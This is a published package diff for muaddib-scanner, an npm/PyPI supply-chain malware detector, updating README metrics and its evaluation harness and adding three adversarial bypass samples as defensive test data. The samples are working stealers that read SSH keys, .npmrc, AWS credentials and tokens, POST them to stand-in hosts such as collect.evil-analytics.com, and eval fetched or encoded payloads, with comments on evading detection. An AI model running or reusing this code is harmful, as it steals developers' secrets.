muaddib-scanner 2.2.11 → 2.2.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +14 -17
- package/README.md +14 -23
- package/datasets/adversarial/indirect-eval-bypass/index.js +27 -0
- package/datasets/adversarial/indirect-eval-bypass/package.json +5 -0
- package/datasets/adversarial/mjs-extension-bypass/package.json +6 -0
- package/datasets/adversarial/mjs-extension-bypass/stealer.mjs +39 -0
- package/datasets/adversarial/muaddib-ignore-bypass/index.js +47 -0
- package/datasets/adversarial/muaddib-ignore-bypass/package.json +5 -0
- package/package.json +3 -2
- package/src/commands/evaluate.js +61 -7
- package/src/index.js +19 -111
- package/src/ioc/bootstrap.js +5 -4
- package/src/response/playbooks.js +10 -0
- package/src/rules/index.js +26 -0
- package/src/scanner/ast.js +103 -57
- package/src/scanner/dataflow.js +32 -61
- package/src/scanner/deobfuscate.js +52 -18
- package/src/scanner/entropy.js +6 -24
- package/src/scanner/github-actions.js +2 -1
- package/src/scanner/hash.js +1 -1
- package/src/scanner/module-graph.js +3 -3
- package/src/scanner/npm-registry.js +4 -3
- package/src/scanner/obfuscation.js +4 -19
- package/src/scanner/shell.js +3 -13
- package/src/shared/analyze-helper.js +49 -0
- package/src/shared/constants.js +5 -1
- package/src/temporal-ast-diff.js +8 -18
- package/src/utils.js +61 -2
package/README.fr.md
CHANGED
|
@@ -686,7 +686,7 @@ MUAD'DIB 2.2.11 Scanner
|
|
|
686
686
|
| +-- Canary Tokens / Honey Tokens (sandbox)
|
|
687
687
|
|
|
|
688
688
|
+-- Validation & Observabilité (v2.1)
|
|
689
|
-
| +-- Ground Truth Dataset (
|
|
689
|
+
| +-- Ground Truth Dataset (51 attaques réelles, 91.8% TPR)
|
|
690
690
|
| +-- Logging Temps de Détection (first_seen, métriques lead time)
|
|
691
691
|
| +-- Suivi Taux FP (stats quotidiennes, taux faux positifs)
|
|
692
692
|
| +-- Décomposition Score (scoring explicable par règle)
|
|
@@ -723,11 +723,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
723
723
|
|
|
724
724
|
| Metrique | Resultat | Details |
|
|
725
725
|
|----------|----------|---------|
|
|
726
|
-
| **TPR** (Ground Truth) | **
|
|
726
|
+
| **TPR** (Ground Truth) | **91.8%** (45/49) | 51 attaques reelles (49 actives). 4 hors scope : browser-only (3) + risque FP (1) |
|
|
727
727
|
| **FPR** (Packages standard) | **6.2%** (18/290) | Packages avec <10 fichiers JS — librairies et outils typiques |
|
|
728
|
-
| **FPR** (Benign, global) |
|
|
729
|
-
| **ADR** (Adversarial) | **100%** (
|
|
730
|
-
| **Holdouts** (pre-tuning) | 40/40 pass | Tous les holdouts passent apres corrections |
|
|
728
|
+
| **FPR** (Benign, global) | **~13%** (69/527) | 529 packages npm, vrai code source via `npm pack`, seuil > 20 |
|
|
729
|
+
| **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversariaux + 40 holdouts evasifs sur 5 vagues red team |
|
|
731
730
|
|
|
732
731
|
**FPR par taille de package** — Le FPR correle lineairement avec la taille du package. Le scoring per-file max (v2.2.11) reduit significativement les FP sur les packages moyens/gros :
|
|
733
732
|
|
|
@@ -738,7 +737,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
738
737
|
| Gros (50-100 fichiers JS) | 40 | 10 | 25.0% |
|
|
739
738
|
| Tres gros (100+ fichiers JS) | 62 | 25 | 40.3% |
|
|
740
739
|
|
|
741
|
-
**Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) →
|
|
740
|
+
**Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, scoring per-file max)
|
|
742
741
|
|
|
743
742
|
**Progression holdout** (scores pre-tuning, regles gelees) :
|
|
744
743
|
|
|
@@ -750,12 +749,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
750
749
|
| v4 | **80%** (8/10) | Efficacite desobfuscation |
|
|
751
750
|
| v5 | 50% (5/10) | Dataflow inter-module (nouveau scanner) |
|
|
752
751
|
|
|
753
|
-
- **TPR** (True Positive Rate) : taux de detection sur
|
|
752
|
+
- **TPR** (True Positive Rate) : taux de detection sur 49 attaques supply-chain reelles (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, et 43 autres). 4 misses : browser-only (lottie-player, polyfill-io, trojanized-jquery) ou risque FP (websocket-rat) — voir [Threat Model](docs/threat-model.md).
|
|
754
753
|
- **FPR** (False Positive Rate) : packages avec score > 20 sur 529 packages npm reels (code source scanne, pas des dirs vides). Le 6.2% sur les packages standard (<10 fichiers JS, 290 packages) est la metrique la plus representative pour un usage typique — la plupart des packages npm sont petits.
|
|
755
|
-
- **ADR** (Adversarial Detection Rate) : taux de detection sur
|
|
754
|
+
- **ADR** (Adversarial Detection Rate) : taux de detection sur 75 samples malveillants evasifs — 35 adversariaux (4 vagues red team) + 40 holdouts (5 batches de 10, testant obfuscation, dataflow inter-module, etc.)
|
|
756
755
|
- **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avec regles gelees (mesure de generalisation)
|
|
757
756
|
|
|
758
|
-
Datasets : 529 npm + 132 PyPI packages benins,
|
|
757
|
+
Datasets : 529 npm + 132 PyPI packages benins, 75 samples adversariaux/holdout, 51 attaques ground-truth (65 packages malveillants documentes).
|
|
759
758
|
|
|
760
759
|
Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
|
|
761
760
|
|
|
@@ -791,14 +790,12 @@ npm test
|
|
|
791
790
|
|
|
792
791
|
### Tests
|
|
793
792
|
|
|
794
|
-
- **
|
|
795
|
-
- **56 tests de fuzzing** - YAML
|
|
796
|
-
- **
|
|
797
|
-
- **
|
|
798
|
-
- **
|
|
799
|
-
- **
|
|
800
|
-
- **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), 13.1% global (69/527) sur vrai code source npm via `npm pack`
|
|
801
|
-
- **Audit ESLint sécurité** - `eslint-plugin-security` avec 14 règles activées
|
|
793
|
+
- **807 tests unitaires/integration** sur 20 fichiers modulaires - 74% coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
|
|
794
|
+
- **56 tests de fuzzing** - YAML malforme, JSON invalide, fichiers binaires, ReDoS, unicode, inputs 10MB
|
|
795
|
+
- **75 samples adversariaux/holdout** - 35 adversariaux + 40 holdouts, 75/75 taux de detection (100% ADR)
|
|
796
|
+
- **Validation ground truth** - 51 attaques reelles (45/49 detectees = 91.8% TPR). 4 hors scope : browser-only (3) + risque FP (1)
|
|
797
|
+
- **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), ~13% global (69/527) sur vrai code source npm via `npm pack`
|
|
798
|
+
- **Audit ESLint securite** - `eslint-plugin-security` avec 14 regles activees
|
|
802
799
|
|
|
803
800
|
---
|
|
804
801
|
|
package/README.md
CHANGED
|
@@ -334,15 +334,9 @@ muaddib replay
|
|
|
334
334
|
muaddib ground-truth
|
|
335
335
|
```
|
|
336
336
|
|
|
337
|
-
Replay
|
|
337
|
+
Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
|
|
338
338
|
|
|
339
|
-
|
|
340
|
-
|--------|------|----------|----------|
|
|
341
|
-
| event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
|
|
342
|
-
| ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
|
|
343
|
-
| coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
|
|
344
|
-
| node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
|
|
345
|
-
| colors | 2022 | Yes | Out of scope (protestware, not malware) |
|
|
339
|
+
4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
|
|
346
340
|
|
|
347
341
|
### Version check
|
|
348
342
|
|
|
@@ -689,7 +683,7 @@ MUAD'DIB 2.2.11 Scanner
|
|
|
689
683
|
| +-- Canary Tokens / Honey Tokens (sandbox)
|
|
690
684
|
|
|
|
691
685
|
+-- Validation & Observability (v2.1)
|
|
692
|
-
| +-- Ground Truth Dataset (
|
|
686
|
+
| +-- Ground Truth Dataset (51 real-world attacks, 91.8% TPR)
|
|
693
687
|
| +-- Detection Time Logging (first_seen tracking, lead time metrics)
|
|
694
688
|
| +-- FP Rate Tracking (daily stats, false positive rate)
|
|
695
689
|
| +-- Score Breakdown (explainable per-rule scoring)
|
|
@@ -726,11 +720,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
726
720
|
|
|
727
721
|
| Metric | Result | Details |
|
|
728
722
|
|--------|--------|---------|
|
|
729
|
-
| **TPR** (Ground Truth) | **
|
|
723
|
+
| **TPR** (Ground Truth) | **91.8%** (45/49) | 51 real-world attacks (49 active). 4 out-of-scope: browser-only (3) + FP-risky (1) |
|
|
730
724
|
| **FPR** (Standard packages) | **6.2%** (18/290) | Packages with <10 JS files — typical libraries and tools |
|
|
731
|
-
| **FPR** (Benign, global) |
|
|
732
|
-
| **ADR** (Adversarial) | **100%** (
|
|
733
|
-
| **Holdouts** (pre-tuning) | 40/40 pass | All holdout samples pass after corrections |
|
|
725
|
+
| **FPR** (Benign, global) | **~13%** (69/527) | 529 npm packages, real source code via `npm pack`, threshold > 20 |
|
|
726
|
+
| **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversarial + 40 holdout evasive samples across 5 red-team waves |
|
|
734
727
|
|
|
735
728
|
**FPR by package size** — FPR correlates linearly with package size. Per-file max scoring (v2.2.11) significantly reduces FP on medium/large packages:
|
|
736
729
|
|
|
@@ -741,7 +734,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
741
734
|
| Large (50-100 JS files) | 40 | 10 | 25.0% |
|
|
742
735
|
| Very large (100+ JS files) | 62 | 25 | 40.3% |
|
|
743
736
|
|
|
744
|
-
**FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) →
|
|
737
|
+
**FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, per-file max scoring)
|
|
745
738
|
|
|
746
739
|
**Holdout progression** (pre-tuning scores, rules frozen):
|
|
747
740
|
|
|
@@ -753,12 +746,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
753
746
|
| v4 | **80%** (8/10) | Deobfuscation effectiveness |
|
|
754
747
|
| v5 | 50% (5/10) | Inter-module dataflow (new scanner) |
|
|
755
748
|
|
|
756
|
-
- **TPR** (True Positive Rate): detection rate on
|
|
749
|
+
- **TPR** (True Positive Rate): detection rate on 49 real-world supply-chain attacks (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, and 43 more). 4 misses are browser-only (lottie-player, polyfill-io, trojanized-jquery) or risky to fix (websocket-rat) — see [Threat Model](docs/threat-model.md).
|
|
757
750
|
- **FPR** (False Positive Rate): packages scoring > 20 out of 529 real npm packages (source code scanned, not empty dirs). The 6.2% on standard packages (<10 JS files, 290 packages) is the most representative metric for typical use — most npm packages are small.
|
|
758
|
-
- **ADR** (Adversarial Detection Rate): detection rate on
|
|
751
|
+
- **ADR** (Adversarial Detection Rate): detection rate on 75 evasive malicious samples — 35 adversarial (4 red-team waves) + 40 holdout (5 batches of 10, testing obfuscation, inter-module dataflow, etc.)
|
|
759
752
|
- **Holdout** (pre-tuning): detection rate on 10 unseen samples with rules frozen (measures generalization)
|
|
760
753
|
|
|
761
|
-
Datasets: 529 npm + 132 PyPI benign packages,
|
|
754
|
+
Datasets: 529 npm + 132 PyPI benign packages, 75 adversarial/holdout samples, 51 ground-truth attacks (65 documented malware packages).
|
|
762
755
|
|
|
763
756
|
See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
|
|
764
757
|
|
|
@@ -794,13 +787,11 @@ npm test
|
|
|
794
787
|
|
|
795
788
|
### Testing
|
|
796
789
|
|
|
797
|
-
- **
|
|
790
|
+
- **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
|
|
798
791
|
- **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
|
|
799
|
-
- **
|
|
800
|
-
- **
|
|
801
|
-
- **
|
|
802
|
-
- **Ground truth validation** - 5/5 real-world attacks detected (event-stream, ua-parser-js, coa, node-ipc, colors)
|
|
803
|
-
- **False positive validation** - 6.2% FPR on standard packages (18/290), 13.1% global (69/527) on real npm source code via `npm pack`
|
|
792
|
+
- **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
|
|
793
|
+
- **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
|
|
794
|
+
- **False positive validation** - 6.2% FPR on standard packages (18/290), ~13% global (69/527) on real npm source code via `npm pack`
|
|
804
795
|
- **ESLint security audit** - `eslint-plugin-security` with 14 rules enabled
|
|
805
796
|
|
|
806
797
|
---
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
// Bypass 01: Indirect eval via computed property access
|
|
2
|
+
// Technique: Array.join to build "eval" string, then call via globalThis[computed]
|
|
3
|
+
// Expected: MUAD'DIB scores < 3 (bypass confirmed)
|
|
4
|
+
|
|
5
|
+
const g = globalThis;
|
|
6
|
+
|
|
7
|
+
// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
|
|
8
|
+
// Buffer.from, atob, and string concat BinaryExpression)
|
|
9
|
+
const k = ['e','v','a','l'].join('');
|
|
10
|
+
|
|
11
|
+
// This URL contains "api.github.com" which is in SAFE_STRINGS
|
|
12
|
+
// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
|
|
13
|
+
// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
|
|
14
|
+
const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
|
|
15
|
+
|
|
16
|
+
const https = require('https');
|
|
17
|
+
https.get(configUrl, (res) => {
|
|
18
|
+
let d = '';
|
|
19
|
+
res.on('data', c => d += c);
|
|
20
|
+
res.on('end', () => {
|
|
21
|
+
// Decode the "content" field from GitHub API response (base64-encoded)
|
|
22
|
+
const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
|
|
23
|
+
// Indirect eval: globalThis['eval'](payload)
|
|
24
|
+
// getCallName() returns '' for computed MemberExpression — never matches 'eval'
|
|
25
|
+
g[k](payload);
|
|
26
|
+
});
|
|
27
|
+
});
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
// Bypass 03: .mjs extension — no scanner processes this file type
|
|
2
|
+
// All scanners use findFiles with extensions: ['.js'] or findJsFiles
|
|
3
|
+
// ESM packages with "type": "module" use .mjs files legitimately
|
|
4
|
+
|
|
5
|
+
import { readFileSync } from 'fs';
|
|
6
|
+
import { homedir } from 'os';
|
|
7
|
+
import { request } from 'https';
|
|
8
|
+
|
|
9
|
+
// Direct credential theft — every dangerous pattern in one file
|
|
10
|
+
// None of this is detected because the file extension is .mjs
|
|
11
|
+
const home = homedir();
|
|
12
|
+
const stolen = {};
|
|
13
|
+
|
|
14
|
+
const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
|
|
15
|
+
for (const t of targets) {
|
|
16
|
+
try {
|
|
17
|
+
stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
|
|
18
|
+
} catch {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Also grab environment tokens
|
|
22
|
+
stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
|
|
23
|
+
stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
|
|
24
|
+
stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
|
|
25
|
+
|
|
26
|
+
// Exfiltrate
|
|
27
|
+
const data = JSON.stringify(stolen);
|
|
28
|
+
const req = request({
|
|
29
|
+
hostname: 'collect.evil-analytics.com',
|
|
30
|
+
path: '/v2/telemetry',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
33
|
+
});
|
|
34
|
+
req.write(data);
|
|
35
|
+
req.end();
|
|
36
|
+
|
|
37
|
+
// Also use eval with dynamic code (would be CRITICAL if this were .js)
|
|
38
|
+
const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
|
|
39
|
+
eval(payload);
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
// muaddib-ignore
|
|
2
|
+
//# sourceMappingURL=index.js.map
|
|
3
|
+
// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
|
|
4
|
+
// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
|
|
5
|
+
// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
|
|
6
|
+
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const os = require('os');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const path = require('path');
|
|
11
|
+
|
|
12
|
+
const home = os.homedir();
|
|
13
|
+
|
|
14
|
+
// Build path components without triggering SENSITIVE_STRINGS check.
|
|
15
|
+
// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
|
|
16
|
+
// AST Literal handler checks node.value.includes(sensitive) for each string literal.
|
|
17
|
+
// We avoid having any single string literal that includes these substrings.
|
|
18
|
+
const dot = '.';
|
|
19
|
+
const dirs = [
|
|
20
|
+
[dot + 'ss' + 'h', 'id_rsa'],
|
|
21
|
+
[dot + 'ss' + 'h', 'id_ed25519'],
|
|
22
|
+
[dot + 'aw' + 's', 'credentials'],
|
|
23
|
+
[dot + 'npm' + 'rc'],
|
|
24
|
+
];
|
|
25
|
+
|
|
26
|
+
const stolen = {};
|
|
27
|
+
for (const parts of dirs) {
|
|
28
|
+
const p = path.join(home, ...parts);
|
|
29
|
+
try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Also read npmrc via environment — env_access only flags vars with sensitive keywords
|
|
33
|
+
// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
|
|
34
|
+
const npmrcPath = path.join(home, dirs[3].join(path.sep));
|
|
35
|
+
try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
|
|
36
|
+
|
|
37
|
+
// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
|
|
38
|
+
// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
|
|
39
|
+
const data = JSON.stringify(stolen);
|
|
40
|
+
const req = https.request({
|
|
41
|
+
hostname: 'telemetry.legit-analytics.com',
|
|
42
|
+
path: '/api/v1/report',
|
|
43
|
+
method: 'POST',
|
|
44
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
45
|
+
});
|
|
46
|
+
req.write(data);
|
|
47
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "muaddib-scanner",
|
|
3
|
-
"version": "2.2.
|
|
3
|
+
"version": "2.2.14",
|
|
4
4
|
"description": "Supply-chain threat detection & response for npm & PyPI/Python",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -8,6 +8,7 @@
|
|
|
8
8
|
},
|
|
9
9
|
"scripts": {
|
|
10
10
|
"test": "node tests/run-tests.js",
|
|
11
|
+
"test:integration": "node tests/run-tests-integration.js",
|
|
11
12
|
"scan": "node bin/muaddib.js scan .",
|
|
12
13
|
"update": "node bin/muaddib.js update",
|
|
13
14
|
"lint": "eslint src bin --ext .js",
|
|
@@ -46,7 +47,7 @@
|
|
|
46
47
|
"@inquirer/prompts": "8.2.1",
|
|
47
48
|
"acorn": "8.15.0",
|
|
48
49
|
"acorn-walk": "8.3.4",
|
|
49
|
-
"adm-zip": "
|
|
50
|
+
"adm-zip": "0.5.16",
|
|
50
51
|
"chalk": "5.6.2",
|
|
51
52
|
"js-yaml": "4.1.1",
|
|
52
53
|
"yargs": "18.0.0"
|
package/src/commands/evaluate.js
CHANGED
|
@@ -22,6 +22,12 @@ const BENIGN_DIR = path.join(ROOT, 'datasets', 'benign');
|
|
|
22
22
|
const ADVERSARIAL_DIR = path.join(ROOT, 'datasets', 'adversarial');
|
|
23
23
|
const METRICS_DIR = path.join(ROOT, 'metrics');
|
|
24
24
|
const CACHE_DIR = path.join(ROOT, '.muaddib-cache', 'benign-tarballs');
|
|
25
|
+
const HOLDOUT_DIRS = [
|
|
26
|
+
path.join(ROOT, 'datasets', 'holdout-v2'),
|
|
27
|
+
path.join(ROOT, 'datasets', 'holdout-v3'),
|
|
28
|
+
path.join(ROOT, 'datasets', 'holdout-v4'),
|
|
29
|
+
path.join(ROOT, 'datasets', 'holdout-v5'),
|
|
30
|
+
];
|
|
25
31
|
|
|
26
32
|
const GT_THRESHOLD = 3;
|
|
27
33
|
const BENIGN_THRESHOLD = 20;
|
|
@@ -65,7 +71,38 @@ const ADVERSARIAL_THRESHOLDS = {
|
|
|
65
71
|
'pyinstaller-dropper': 35,
|
|
66
72
|
'gh-cli-token-steal': 30,
|
|
67
73
|
'triple-base64-github-push': 30,
|
|
68
|
-
'browser-api-hook': 20
|
|
74
|
+
'browser-api-hook': 20,
|
|
75
|
+
// Audit bypass samples (v2.2.13)
|
|
76
|
+
'indirect-eval-bypass': 10,
|
|
77
|
+
'muaddib-ignore-bypass': 25,
|
|
78
|
+
'mjs-extension-bypass': 100
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
const HOLDOUT_THRESHOLDS = {
|
|
82
|
+
// holdout-v2 (10 samples)
|
|
83
|
+
'conditional-os-payload': 25, 'env-var-reconstruction': 25,
|
|
84
|
+
'github-workflow-inject': 20, 'homedir-ssh-key-steal': 25,
|
|
85
|
+
'npm-cache-poison': 20, 'npm-lifecycle-preinstall-curl': 25,
|
|
86
|
+
'process-env-proxy-getter': 20, 'readable-stream-hijack': 20,
|
|
87
|
+
'setTimeout-chain': 25, 'wasm-loader': 20,
|
|
88
|
+
// holdout-v3 (10 samples)
|
|
89
|
+
'dns-txt-payload': 25, 'electron-rce': 30,
|
|
90
|
+
'env-file-parse-exfil': 20, 'git-credential-steal': 20,
|
|
91
|
+
'npm-hook-hijack': 25, 'postinstall-reverse-shell': 35,
|
|
92
|
+
'require-cache-poison': 20, 'steganography-payload': 15,
|
|
93
|
+
'symlink-escape': 25, 'timezone-trigger': 30,
|
|
94
|
+
// holdout-v4 (10 samples — deobfuscation)
|
|
95
|
+
'atob-eval': 20, 'base64-require': 35,
|
|
96
|
+
'charcode-fetch': 25, 'charcode-spread-homedir': 30,
|
|
97
|
+
'concat-env-steal': 20, 'double-decode-exfil': 40,
|
|
98
|
+
'hex-array-exec': 20, 'mixed-obfuscation-stealer': 30,
|
|
99
|
+
'nested-base64-concat': 25, 'template-literal-hide': 40,
|
|
100
|
+
// holdout-v5 (10 samples — inter-module dataflow)
|
|
101
|
+
'callback-exfil': 3, 'class-method-exfil': 20,
|
|
102
|
+
'conditional-split': 25, 'event-emitter-flow': 3,
|
|
103
|
+
'mixed-inline-split': 20, 'named-export-steal': 20,
|
|
104
|
+
'reexport-chain': 20, 'split-env-exfil': 20,
|
|
105
|
+
'split-npmrc-steal': 20, 'three-hop-chain': 20
|
|
69
106
|
};
|
|
70
107
|
|
|
71
108
|
/**
|
|
@@ -300,23 +337,39 @@ async function evaluateAdversarial() {
|
|
|
300
337
|
const details = [];
|
|
301
338
|
let detected = 0;
|
|
302
339
|
|
|
303
|
-
|
|
304
|
-
for (const name of
|
|
340
|
+
// --- Adversarial samples (35) ---
|
|
341
|
+
for (const [name, threshold] of Object.entries(ADVERSARIAL_THRESHOLDS)) {
|
|
305
342
|
const sampleDir = path.join(ADVERSARIAL_DIR, name);
|
|
306
343
|
if (!fs.existsSync(sampleDir)) {
|
|
307
|
-
details.push({ name, score: 0, threshold
|
|
344
|
+
details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'adversarial' });
|
|
308
345
|
continue;
|
|
309
346
|
}
|
|
347
|
+
const result = await silentScan(sampleDir);
|
|
348
|
+
const score = result.summary.riskScore;
|
|
349
|
+
const isDetected = score >= threshold;
|
|
350
|
+
if (isDetected) detected++;
|
|
351
|
+
details.push({ name, score, threshold, detected: isDetected, source: 'adversarial' });
|
|
352
|
+
}
|
|
310
353
|
|
|
354
|
+
// --- Holdout samples (40) ---
|
|
355
|
+
for (const [name, threshold] of Object.entries(HOLDOUT_THRESHOLDS)) {
|
|
356
|
+
let sampleDir = null;
|
|
357
|
+
for (const hDir of HOLDOUT_DIRS) {
|
|
358
|
+
const candidate = path.join(hDir, name);
|
|
359
|
+
if (fs.existsSync(candidate)) { sampleDir = candidate; break; }
|
|
360
|
+
}
|
|
361
|
+
if (!sampleDir) {
|
|
362
|
+
details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'holdout' });
|
|
363
|
+
continue;
|
|
364
|
+
}
|
|
311
365
|
const result = await silentScan(sampleDir);
|
|
312
366
|
const score = result.summary.riskScore;
|
|
313
|
-
const threshold = ADVERSARIAL_THRESHOLDS[name];
|
|
314
367
|
const isDetected = score >= threshold;
|
|
315
368
|
if (isDetected) detected++;
|
|
316
|
-
details.push({ name, score, threshold, detected: isDetected });
|
|
369
|
+
details.push({ name, score, threshold, detected: isDetected, source: 'holdout' });
|
|
317
370
|
}
|
|
318
371
|
|
|
319
|
-
const total =
|
|
372
|
+
const total = Object.keys(ADVERSARIAL_THRESHOLDS).length + Object.keys(HOLDOUT_THRESHOLDS).length;
|
|
320
373
|
const adr = total > 0 ? detected / total : 0;
|
|
321
374
|
return { detected, total, adr, details };
|
|
322
375
|
}
|
|
@@ -425,6 +478,7 @@ module.exports = {
|
|
|
425
478
|
saveMetrics,
|
|
426
479
|
silentScan,
|
|
427
480
|
ADVERSARIAL_THRESHOLDS,
|
|
481
|
+
HOLDOUT_THRESHOLDS,
|
|
428
482
|
GT_THRESHOLD,
|
|
429
483
|
BENIGN_THRESHOLD
|
|
430
484
|
};
|
package/src/index.js
CHANGED
|
@@ -25,7 +25,7 @@ const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
|
25
25
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
26
26
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
27
27
|
const { detectMaintainerChange } = require('./maintainer-change.js');
|
|
28
|
-
const { setExtraExcludes, getExtraExcludes, Spinner } = require('./utils.js');
|
|
28
|
+
const { setExtraExcludes, getExtraExcludes, Spinner, listInstalledPackages } = require('./utils.js');
|
|
29
29
|
|
|
30
30
|
// ============================================
|
|
31
31
|
// SCORING CONSTANTS
|
|
@@ -62,7 +62,7 @@ const RISK_THRESHOLDS = {
|
|
|
62
62
|
// Maximum score (capped)
|
|
63
63
|
const MAX_RISK_SCORE = 100;
|
|
64
64
|
|
|
65
|
-
const MAX_FILE_SIZE =
|
|
65
|
+
const { MAX_FILE_SIZE } = require('./shared/constants.js');
|
|
66
66
|
|
|
67
67
|
// Cap MEDIUM prototype_hook contribution (frameworks like Restify have 50+ extensions)
|
|
68
68
|
const PROTO_HOOK_MEDIUM_CAP = 15;
|
|
@@ -312,6 +312,14 @@ function checkPyPITyposquatting(deps, targetPath) {
|
|
|
312
312
|
}
|
|
313
313
|
|
|
314
314
|
async function run(targetPath, options = {}) {
|
|
315
|
+
// Validate targetPath exists and is a directory
|
|
316
|
+
if (!targetPath || !fs.existsSync(targetPath)) {
|
|
317
|
+
throw new Error(`Target path does not exist: ${targetPath}`);
|
|
318
|
+
}
|
|
319
|
+
if (!fs.statSync(targetPath).isDirectory()) {
|
|
320
|
+
throw new Error(`Target path is not a directory: ${targetPath}`);
|
|
321
|
+
}
|
|
322
|
+
|
|
315
323
|
// Ensure IOCs are downloaded (first run only, graceful failure)
|
|
316
324
|
await ensureIOCs();
|
|
317
325
|
|
|
@@ -396,7 +404,7 @@ async function run(targetPath, options = {}) {
|
|
|
396
404
|
...pypiTyposquatThreats,
|
|
397
405
|
...entropyThreats,
|
|
398
406
|
...aiConfigThreats,
|
|
399
|
-
...crossFileFlows.map(f => ({
|
|
407
|
+
...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
|
|
400
408
|
type: f.type,
|
|
401
409
|
severity: f.severity,
|
|
402
410
|
message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
|
|
@@ -416,33 +424,8 @@ async function run(targetPath, options = {}) {
|
|
|
416
424
|
if (!options._capture && !options.json) {
|
|
417
425
|
console.log('[TEMPORAL] Analyzing lifecycle script changes (this makes network requests)...\n');
|
|
418
426
|
}
|
|
419
|
-
const
|
|
420
|
-
|
|
421
|
-
